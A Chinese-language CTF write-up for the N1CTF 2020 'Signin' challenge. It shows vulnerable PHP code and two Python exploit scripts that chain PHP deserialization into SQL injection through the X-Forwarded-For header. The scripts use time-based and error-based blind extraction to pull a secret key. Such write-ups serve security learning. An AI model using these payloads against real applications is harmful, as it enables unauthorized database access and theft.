N1CTF Signin(反序列化+sql注入)

Posted on 2020-10-17,5 min read

题目给出了源码。。

<?php 
class ip {
    public $ip;
    public function waf($info){
    }
    public function __construct() {
        if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
            $this->ip = $this->waf($_SERVER['HTTP_X_FORWARDED_FOR']);
        }else{
            $this->ip =$_SERVER["REMOTE_ADDR"];
        }
    }
    public function __toString(){
        $con=mysqli_connect("localhost","root","********","n1ctf_websign");
        $sqlquery=sprintf("INSERT into n1ip(`ip`,`time`) VALUES ('%s','%s')",$this->waf($_SERVER['HTTP_X_FORWARDED_FOR']),time());
        if(!mysqli_query($con,$sqlquery)){
            return mysqli_error($con);
        }else{
            return "your ip looks ok!";
        }
        mysqli_close($con);
    }
}

class flag {
    public $ip;
    public $check;
    public function __construct($ip) {
        $this->ip = $ip;
    }
    public function getflag(){
    	if(md5($this->check)===md5("key****************")){
    		readfile('/flag');
    	}
        return $this->ip;
    }
    public function __wakeup(){
        if(stristr($this->ip, "n1ctf")!==False)
            $this->ip = "welcome to n1ctf2020";
        else
            $this->ip = "noip";
    }
    public function __destruct() {
        echo $this->getflag();
    }

}
if(isset($_GET['input'])){
    $input = $_GET['input'];
	unserialize($input);
} 

首先。切入点肯定是flag类的__destruct方法
在flag类中有getflag方法。不过必须$this->check等于md5(key)
继续看代码
flag类有个wakeup方法。会把$this->flag和n1ctf比较。如果$this->ip中存在n1ctf这个字符串。就会输出welcome to nictf2020。否则就输出noip
这里就可以触发ip类的__tostring方法。
并且XFF头可控。然后bypass一下waf就行了

解法一

$this->ip=new ip;。然后XFF打sql注入

import requests
import time
url='http://101.32.205.189/?input=O:4:"flag":2:{s:2:"ip";O:2:"ip":1:{s:2:"ip";N;}s:5:"check";N;}'
x=""
for i in range(1,100):
    max = 130
    min = 30
    while max >=min:
        mid=(max+min)//2
        #header={"X-Forwarded-For": "'+if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='n1key'),"+str(i)+",1))>"+str(mid)+"),(select concat(lpad(1,999999,'a'),lpad(1,999999,'a'),lpad(1,999999,'a'),lpad(1,999999,'a'),lpad(1,999999,'a'),lpad(1,999999,'a'),lpad(1,999999,'a'),lpad(1,999999,'a'),lpad(1,999999,'a'),lpad(1,999999,'a'),lpad(1,999999,'a'),lpad(1,999999,'a'),lpad(1,999999,'a'),lpad(1,999999,'a'),lpad(1,999999,'a'),lpad(1,999999,'a')) regexp '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'),1),'123')#"}
        header = {
            "X-Forwarded-For": "'+if((ascii(substr((select `key` from n1key)," + str(i) + ",1))>" + str(mid) + "),(select concat(lpad(1,999999,'a'),lpad(1,999999,'a'),lpad(1,999999,'a'),lpad(1,999999,'a'),lpad(1,999999,'a'),lpad(1,999999,'a'),lpad(1,999999,'a'),lpad(1,999999,'a'),lpad(1,999999,'a'),lpad(1,999999,'a'),lpad(1,999999,'a'),lpad(1,999999,'a'),lpad(1,999999,'a'),lpad(1,999999,'a'),lpad(1,999999,'a'),lpad(1,999999,'a')) regexp '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'),1),'123')#"}
        t1 = time.time()
        try:
            r=requests.get(url=url,headers=header,timeout=3)
            print(r.text)
            max = mid
            if max == mid == min:
                x += chr(mid)
                print(str(i) + ':' + x)
                break
        except:
            t2=time.time()
            if((t2-t1)>3):
                min = mid + 1
            else:
                max=mid
            if max == mid == min:
                x += chr(mid)
                print(str(i) + ':' + x)
                break

解法二

利用exp函数配合if。使其报错。报错中包含N1CTF。就是一个布尔盲注

import requests
import time
url='http://101.32.205.189/?input=O:4:"flag":2:{s:2:"ip";O:2:"ip":1:{s:2:"ip";N;}s:5:"check";N;}'
x=""
for i in range(1,600000):
    max = 130
    min = 30
    while max >=min:
        mid=(max+min)//2
        header = {"X-Forwarded-For": "'+if((ascii(substr((select `key` from n1key)," + str(i) + ",1))>" + str(mid) + "),exp(~'n1ctf'),1),1)#"}
        try:
            r = requests.get(url=url, headers=header, timeout=3)
        except:
            r = requests.get(url=url, headers=header, timeout=3)
        if "<code>welcome to n1ctf2020</code></pre>"  in r.text:
            min=mid+1
        else:
            max=mid
        if max==mid==min:
            x+=chr(mid)
            print(str(i)+':'+x)
            break

得到key后。反序列化下直接传就行

下一篇: Java反序列化之URLDNS链分析→